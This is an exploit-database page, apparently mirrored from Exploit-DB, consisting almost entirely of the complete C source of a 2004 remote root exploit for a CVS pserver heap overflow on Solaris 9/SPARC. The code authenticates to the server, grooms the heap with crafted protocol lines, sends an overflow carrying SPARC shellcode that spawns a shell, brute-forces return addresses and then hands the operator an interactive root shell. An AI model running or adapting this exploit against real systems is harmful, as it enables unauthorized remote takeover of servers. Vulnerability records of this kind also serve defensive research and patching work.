Lucene search
K

CVS - Remote Entry Line Root Heap Overflow

🗓️ 25 Jun 2004 00:00:00Reported by anonymousType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 110 Views

Remote entry line vulnerability in CVS allows heap overflow, affecting specific versions.

Code
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <signal.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdarg.h>
#include <netdb.h>
#include <errno.h>
#include <sys/time.h>
#include <fcntl.h>
#include <zlib.h>

#define CVS_PORT 2401
#define RET 0xffbffd20
#define NOP 0x82102017
#define ROUND(s)    if (s % word_size) s += (word_size - (s % word_size))

unsigned char *root;
unsigned char *user;
unsigned char *pass;
unsigned char *scrambled;
unsigned char *reposit;
unsigned char *directory;
unsigned char buf[512];
unsigned char *host;
unsigned int  rport, port;
unsigned int target;
z_stream zout;
z_stream zin;
unsigned char zbuf[65536 * 4];
unsigned int zbufpos, zsent = 0;
unsigned int word_size = 8, fill_size;
unsigned int len1, len2, len3;
unsigned int oflip, change, retaddr;

char entry1[64], entry2[64], entry3[64];

struct expl {
        char            *name;
                unsigned int    retadd;
} serve[] = { 
{ "cvs-1.11.1p1 - Solaris9 / SPARC", 0xd4cc8},
{ "cvs-1.12.2 - Solaris9 / SPARC", 0xd7ae8 + 8192},
{ "cvs-1.9.28 - Solaris 9 / SPARC", 0xd25b8},
{ "Crash server", 0x41414141}, 
{ "Crash server 2", 0x77777777}, 
{ "Stack ret test", 0xffbffd20},
{ "Heap ret test", 0x00031337}, 
{ NULL, 0}
};

char shellcode[]=
    "\x21\x18\xd8\x58"     // sethi  %hi(0x63616000), %l0
    "\xa0\x14\x23\x61"     // or  %l0, 0x361, %l0
    "\x90\x10\x20\x01"     // mov  1, %o0
    "\x92\x0b\x80\x0e"     // and  %sp, %sp, %o1
    "\x94\x10\x20\x04"     // mov  4, %o2
    "\x82\x10\x20\x04"     // mov  4, %g1
    "\x91\xd0\x20\x08"     // ta  8
/* lsd shellcode. */ 
    "\x20\xbf\xff\xff"     /* bn,a    <shellcode-4>        */
    "\x20\xbf\xff\xff"     /* bn,a    <shellcode>          */
    "\x7f\xff\xff\xff"     /* call    <shellcode+4>        */
    "\x90\x03\xe0\x20"     /* add     %o7,32,%o0           */
    "\x92\x02\x20\x10"     /* add     %o0,16,%o1           */
    "\xc0\x22\x20\x08"     /* st      %g0,[%o0+8]          */
    "\xd0\x22\x20\x10"     /* st      %o0,[%o0+16]         */
    "\xc0\x22\x20\x14"     /* st      %g0,[%o0+20]         */
    "\x82\x10\x20\x0b"     /* mov     0xb,%g1              */
    "\x91\xd0\x20\x08"     /* ta      8                    */
    "/bin/ksh";

char *scramble(char * str);

void handler(int sig)
{
    signal(SIGPIPE, handler);
}

/*   
 * This function reads from socket s until either max bytes are read, 
 * a newline is read, or timeout seconds elapse with no data over the 
 * socket.
 *   return values:
 *     -2: timeout
 *     -1: error
 *     0: connection closed
 *     x: normal success, x bytes read
 */
int timeout_read(int s, char *buf, int max, int timeout)
{
    int total = 0;
    int r = 0;
    int s_flags;
    char c;
    struct timeval to;
    fd_set rset;
    
    memset(&to, '\0', sizeof(to));
    to.tv_sec = timeout;
    to.tv_usec = 0;
    
    s_flags = fcntl(s, F_GETFL, 0);
    fcntl(s, F_SETFL, s_flags | O_NONBLOCK);

    while(total < max)
    {
FD_ZERO(&rset);
FD_SET(s, &rset);
select(s + 1, &rset, NULL, NULL, &to);

if (FD_ISSET(s, &rset))
{
    r = read(s, &c, 1);
    total += r;

    if(r == -1)
    {
if (errno != EWOULDBLOCK)
{
    fcntl(s, F_SETFL, s_flags);
    return -1;
}
else
    continue;
    }
    else if(r == 0)
    {
fcntl(s, F_SETFL, s_flags);
return 0;
    }
    else /* r == 1 */
    {
buf[total-1] = c;
if(c == '\n')
    break;
    }
    
}
else
{
    fcntl(s, F_SETFL, s_flags);
    return -2;
}
    }
    
    fcntl(s, F_SETFL, s_flags);
    return total; 
}

void zflush(int sockfd)
{
    static char         outbuf[65536];

    zout.next_in = zbuf;
    zout.avail_in = zbufpos;

    do {
        zout.next_out = outbuf;
        zout.avail_out = sizeof(outbuf);
        if(deflate(&zout, Z_PARTIAL_FLUSH) == -1)
        {
printf("[--] Compression error.\n");
exit(1);
}
        zsent += sizeof(outbuf) - zout.avail_out;
        write(sockfd, outbuf, sizeof(outbuf) - zout.avail_out);
    } while (zout.avail_in != 0);

    zbufpos = 0;

    return;
}

int zwrite(char *buf, int len, int sockfd)
{
    if ((sizeof(zbuf) - zbufpos) < (len))
        zflush(sockfd);

    memcpy(zbuf + zbufpos, buf, len);
    zbufpos += len;

    if (zbufpos >= sizeof(zbuf))
    {
printf("[--] zwrite compression error.\n");
exit(1);
    }

    return (len);
}

int zgetch(int sockfd)
{
    static char         * outbuf = NULL;
    static int          outpos = 0, outlen = 0;
    static char         rcvbuf[32768];
    static char         dbuf[4096];
    int                 got;

  retry:
    if (outpos < outlen && outlen)
        return outbuf[outpos++];
    free(outbuf);
    outlen = 0;
    outbuf = NULL;
    got = read(sockfd, rcvbuf, sizeof(rcvbuf));
    if (got <= 0)
    {
printf("[--] Socket error.\n");
exit(1);
    }
    zin.next_in = rcvbuf;
    zin.avail_in = got;
    while (1)
        {
           int status, dlen;

            zin.next_out = dbuf;
            zin.avail_out = sizeof(dbuf);
            status = inflate(&zin, Z_PARTIAL_FLUSH);
            switch (status)
                {
                case Z_OK:
                    outpos = 0;
                    dlen = sizeof(dbuf) - zin.avail_out;
                    outlen += dlen;
                    outbuf = realloc(outbuf, outlen);
                    memcpy(outbuf + outlen - dlen, dbuf, dlen);
                    break;
                case Z_BUF_ERROR:
                    goto retry;
                default:
                    printf("[--] Revc inflate error.\n");
                }
        }
}

char *zgets(int sockfd)
{
    static char         buf[32768];
    char                * p = buf;
    int                 c;

    while (1)
        {
            c = zgetch(sockfd);
            if (c == '\n')
                break;
            *p++ = c;
            if (p > buf + sizeof(buf))
                {
                    p--;
                    break;
                }
        }
    *p = 0;
    return (buf);
}

int do_compression(int s)
{
char buf[3000];
int term = 0, i = 0;

deflateInit(&zout, 1);
        inflateInit(&zin);

memset(buf, 0x0, 300);
sprintf(buf, "Gzip-stream 1\n");

write(s, buf, strlen(buf));
}

int do_auth(int s)
{
char* str = malloc(50000);
        if(str == 0)
        {
            perror("malloc");
            exit(1);
        }
strcpy(str, "BEGIN AUTH REQUEST");
strncat(str, "\n", 1);
strncat(str, reposit, strlen(reposit));
strncat(str, "\n", 1);
strncat(str, user, strlen(user));
strncat(str, "\n", 1);
scrambled = scramble(pass);
strncat(str, scrambled, strlen(scrambled));
strncat(str, "\n", 1);
strncat(str, "END AUTH REQUEST", 16);
strncat(str, "\n", 1);
write(s, str, strlen(str)); 
free(str);

return 0;
}

int do_root(int s)
{
char* str = malloc(5000);

        bzero(str, 5000);
strncat(str, "Root ", 5);
strncat(str, root, strlen(root));
strncat(str, "\n", 1);
write(s, str, strlen(str));
free(str);

return 0;
}

int do_sized_entry(int s, char *e1, char *e2, int size)
{
char *str = malloc(size * 2);
char *tmp = malloc(size); 
int x = 0;
int term = 0;

if(str == 0 || tmp == 0 || size < (strlen(e1) + strlen(e2) + 4))
{
return;
}

bzero(str, size*2);
bzero(tmp, size);
sprintf(tmp, "Entry /%s/%s/", e1, e2);
strcat(str, tmp);
term = strlen(str);

x = term; 
while(x < (size - 1))
             str[x++] = 0xff;

strcat(str, "\n");

str[term] = 0;

write(s, str, size);
free(str);

return(0);
}

int normalize_heap(int sockfd)
{
int i;
char buff[8192 + 128];

memset(buff, 0x0, 8192 + 128);
memset(buff, 0x62, 8190);
memcpy(buff, "Argument ", 9);
strcat(buff, "\n"); 
buff[72] = 0;

for( i = 0 ; i < 128 ; i++)
{
write(sockfd, buff, 8191);
} 

memset(buff, 0x0, 8192 + 128);
memset(buff, 0x62, 8190);
memcpy(buff, "Argument ", 9); 
strcat(buff, "\n");
buff[65] = 0; 

for(i = 0 ; i < 64 ; i++)
{
write(sockfd, buff, 8191);
}

memset(buff, 0x0, 8192 + 128);
        memset(buff, 0x62, 8190);
        memcpy(buff, "Argument ", 9);
        strcat(buff, "\n");   
buff[44] = 0;

for(i = 0 ; i < 32 ; i++)
{
write(sockfd, buff, 8191);
}
memset(buff, 0x0, 8192 + 128);
        memset(buff, 0xff, 8193);
        memcpy(buff, "Argument ", 9);
        strcat(buff, "\n");   

write(sockfd, buff, 8194);
}

int correctly_fill_hole(int sockfd, int fill)
{
int chunk_size, chunk_size2;
int num_chunks;
int leftover, i = 0;
char buf[256];
char pad[1024];
char buff[2048];
unsigned long addr = RET;
char addrbuf[4096];

chunk_size = (1024 + word_size);
num_chunks = (fill / chunk_size);
leftover = (fill % chunk_size);

memset(pad, 0x0, 1024);
memset(pad, 0x88, ((1024 - 8) / 2));
memset(buff, 0x0, 2048);

        /* The exploit will almost certainly fail if leftover == 0
         * however in theory this should never actually happen.
         */
if(leftover == 0)
{
for(i = 0; i < num_chunks && fill > 0; i++)
{
          do_sized_entry(sockfd, pad, pad, fill - (1024 + word_size));
  fill -= (1024 + word_size);
}
}
else
{
for(i = 0; i < (num_chunks -2) && fill > 0; i++)
{
          do_sized_entry(sockfd, pad, pad, fill - (1024 + word_size));
  fill -= (1024 + word_size);
}
chunk_size2 = (chunk_size * 2 + leftover); 
ROUND(chunk_size2);
memset(buff, 0x0, 2048);
memset(buff, 0xff, (chunk_size2 - 8) / 2);
memset(addrbuf, 0x0, sizeof(addrbuf)); 
for(i = 0 ; i < (((chunk_size2 - 8) / 2) -4) ; i += 4) 
    *(int *)&addrbuf[i] = htonl(RET);

memcpy(buff+1, addrbuf, strlen(addrbuf)); 
do_sized_entry(sockfd, buff, buff, 4096);
}

memset(buff, 0x0, 2048);
memset(buff, 0xff, 34);

memset(addrbuf, 0x0, sizeof(addrbuf));
for(i = 0; i < 28; i+=4)
    *(int *)&addrbuf[i] = htonl(RET);

memcpy(buff+7, addrbuf, strlen(addrbuf));

do_sized_entry(sockfd, buff, buff, 97);
}

int do_ismodified(int s, char *e1)
{ 
char *str = (char *) malloc(100000);
int x = 0, term = 0;

        bzero(str, 100000);

sprintf(str,"Is-modified %s\n", e1);

zwrite(str, strlen(str), s);
zflush(s); 

free(str);

return 0;
}

int do_argument(int sockfd)
{
char *exp;

exp = (char *) malloc(20000);

memset(exp, 0x0, 20000);
memset(exp, 0x69, 19680 + strlen("Argument "));

memcpy(exp, "Argument ", strlen("Argument "));

exp[19680 + strlen("Argument ")] = '\n';

write(sockfd, exp, strlen(exp));

return(0);
}

int do_resize(int sockfd)
{
char buffer[256];
int x = 0;
memset(buffer, 0x0, 256);
memset(buffer, 0xff, 255);

buffer[254] = '\n';

memcpy(buffer, "Argumentx ", strlen("Argumentx "));

buffer[74 + 44] = 0;

zwrite(buffer, 255, sockfd);
zflush(sockfd);
}

int do_overflow(int sockfd)
{
char buffer[20000];
int i = 0;

memset(buffer, 0x0, 20000);
memset(buffer, 0x42, 19782);

for(i = 0 ; i < 19780-8; i+=4)
   *(unsigned int *)&buffer[i] = htonl(retaddr);
 
for(i = 0; i < 19600; i+=4)
           *(unsigned int *)&buffer[i] = htonl(NOP); 
 
        memcpy(buffer+19000, shellcode, strlen(shellcode));

memcpy(buffer, "Argument ", strlen("Argument "));
buffer[19781] = '\012';

zwrite(buffer, 19782, sockfd);
zflush(sockfd);
}

int work_around_zlib_bug(int sockfd)
{
char buffer[4096];
char data[64];

memset(data, 0x0, 64);
memset(data, 0x42, 32);

memset(buffer, 0x0, 4096);
memset(buffer, 0x42, 4000);

sprintf(buffer, "Entry /%s/%s/", data, data);

buffer[2999] = '\n';

zwrite(buffer, 3000, sockfd);
zflush(sockfd);
} 

unsigned char auth_shifts[] ={
   0,  1,  2,  3,  4,  5,  6,  7,  8,  9, 10, 11, 12, 13, 14, 15,
  16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31,
 114,120, 53, 79, 96,109, 72,108, 70, 64, 76, 67,116, 74, 68, 87,
 111, 52, 75,119, 49, 34, 82, 81, 95, 65,112, 86,118,110,122,105,
  41, 57, 83, 43, 46,102, 40, 89, 38,103, 45, 50, 42,123, 91, 35,
 125, 55, 54, 66,124,126, 59, 47, 92, 71,115, 78, 88,107,106, 56,
  36,121,117,104,101,100, 69, 73, 99, 63, 94, 93, 39, 37, 61, 48,
  58,113, 32, 90, 44, 98, 60, 51, 33, 97, 62, 77, 84, 80, 85,223,
 225,216,187,166,229,189,222,188,141,249,148,200,184,136,248,190,
 199,170,181,204,138,232,218,183,255,234,220,247,213,203,226,193,
 174,172,228,252,217,201,131,230,197,211,145,238,161,179,160,212,
 207,221,254,173,202,146,224,151,140,196,205,130,135,133,143,246,
 192,159,244,239,185,168,215,144,139,165,180,157,147,186,214,176,
 227,231,219,169,175,156,206,198,129,164,150,210,154,177,134,127,
 182,128,158,208,162,132,167,209,149,241,153,251,237,236,171,195,
 243,233,253,240,194,250,191,155,142,137,245,235,163,242,178,152 };

char *scramble(char * str)
{
int i;
    char * s;
                
    s = (char *) malloc (strlen (str) + 3);
    memset(s, '\0', strlen(str) + 3);
    *s = 'A';
    for (i = 1; str[i - 1]; i++)
        s[i] = auth_shifts[(unsigned char)(str[i - 1])];
    return (s);
}

int usage(char *name)
{
printf("usage: %s [options]\n", name);
        printf("Options:\n");
        printf("  -t     Desired target\n");
        printf("  -r     CVS root\n");
        printf("  -u     CVS user\n");
        printf("  -p     Password\n");
        printf("  -h     Targeted host\n"); 
        printf("  -P     Port running CVS\n"); 
             
        printf("\nAvailable targets:\n"); 
        for (target = 0; serve[target].name != NULL; target++) 
        printf("[%i] - %s\n", target, serve[target].name); 
        exit(0);
}

int do_shell(int sockfd)
{
while(1)
         {
            fd_set fds;
            FD_ZERO(&fds);
            FD_SET(0,&fds);
            FD_SET(sockfd,&fds);
            if(select(FD_SETSIZE,&fds,NULL,NULL,NULL))
            {
               int cnt;
               char buf[1024];
               if(FD_ISSET(0,&fds))
               {
                  if((cnt=read(0,buf,1024))<1)
                  {
                     if(errno==EWOULDBLOCK||errno==EAGAIN)
                       continue;
                     else
                       break;
                  }
                  write(sockfd,buf,cnt);
               }
               if(FD_ISSET(sockfd,&fds))
               {
                  if((cnt=read(sockfd,buf,1024))<1)
                  {
                       if(errno==EWOULDBLOCK||errno==EAGAIN)
                         continue;
                       else
                         break;
                  }
                  write(1,buf,cnt);
               }
            }
         }               
}

int main(int argc, char *argv[])
{
int i, sockfd, len, result,x;
        char c;
struct sockaddr_in addr;
struct hostent *hostinfo;

if(argc == 1)
{
        usage(argv[0]);    
        }

port = CVS_PORT; 
        while((c = getopt(argc, argv, "t:r:u:d:p:h:")) != EOF)
        { 
        switch(c) 
                { 
                       case 't': 
                         target = atoi(optarg); 
                         break; 
                       case 'r': 
                         root = strdup(optarg); 
                         reposit = strdup(optarg); 
                         break; 
                       case 'u': 
                         user = strdup(optarg); 
                         break; 
                       case 'd': 
                         directory = strdup(optarg); 
                         break;
                       case 'p':
                         pass = strdup(optarg);
                         break;
                       case 'h':
                         host = strdup(optarg);
                         break;
                       default:
         usage(argv[0]);
       }                  
}

hostinfo = gethostbyname(host);
if(!hostinfo)
{
perror("gethostbyname()");
exit(0);
}

sockfd = socket(AF_INET, SOCK_STREAM, 0);

addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr = *(struct in_addr *)*hostinfo -> h_addr_list;
len = sizeof(addr);

printf("Attacking %s running %s\n", host, serve[target].name);
printf("[");
fflush(stdout);

retaddr = serve[target].retadd;

    while(1)
    {
sockfd = socket(AF_INET, SOCK_STREAM, 0); 
result = connect(sockfd, (struct sockaddr *)&addr, len);
if(result == -1)
{
perror("connect()");
exit(0);
}

do_auth(sockfd);
timeout_read(sockfd, buf, sizeof(buf)-1, 3); 
do_root(sockfd);

normalize_heap(sockfd);

do_argument(sockfd);
        
        fill_size = 19680;

memset(entry1, 0x41, 60);
memset(entry2, 0x42, 60);
memset(entry3, 0x43, 60);

do_sized_entry(sockfd, entry1, entry1, fill_size - (128+word_size) );
        fill_size -= (128 + word_size);
        do_sized_entry(sockfd, entry2, entry2, fill_size - (128+word_size) );
        fill_size -= (128 + word_size);
        do_sized_entry(sockfd, entry3, entry3, fill_size - (128+word_size) );
        fill_size -= (128 + word_size);
     
correctly_fill_hole(sockfd, fill_size - (64 + word_size));
       
do_compression(sockfd);

len1 = ( 5 + 4 + 16); 
        len2 = ( 144 + 8 + 5 + 1);
len3 = ( 144 + 8 + 128 + 8 + 5 + 0);

for(i = 0; i < len1; i++)
            do_ismodified(sockfd, entry1);

for(i = 0; i < len2; i++)
            do_ismodified(sockfd, entry2);

for(i = 0; i < len3; i++)
            do_ismodified(sockfd, entry3);

work_around_zlib_bug(sockfd);

do_resize(sockfd);

        do_overflow(sockfd);

printf(".");
fflush(stdout);

while(1)
{
    result = timeout_read(sockfd, buf, 4, 5);
    if(result == -1 || result == 0)
    {
break;
    }
      if(result == -2)
    {
printf("\n Timeout... trying for shell\n"); 
do_shell(sockfd);
break;
    } 
/* Maybe use strstr and a larger read buffer here ? */
    if(strncmp(buf, "caca", 4) == 0)
    {
printf("]\n");
printf("[+] 0wned!@ With retaddr = 0x%x\n", retaddr);
do_shell(sockfd);
exit(0);
    }
}

change += 12000;

        if(oflip == 0)
        {
            retaddr = serve[target].retadd + change;
            oflip = 1;
        }
        else if(oflip == 1)
        {
            retaddr = serve[target].retadd - change;
            oflip = 0;
        }

close(sockfd);
    } 
}

// milw0rm.com [2004-06-25]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation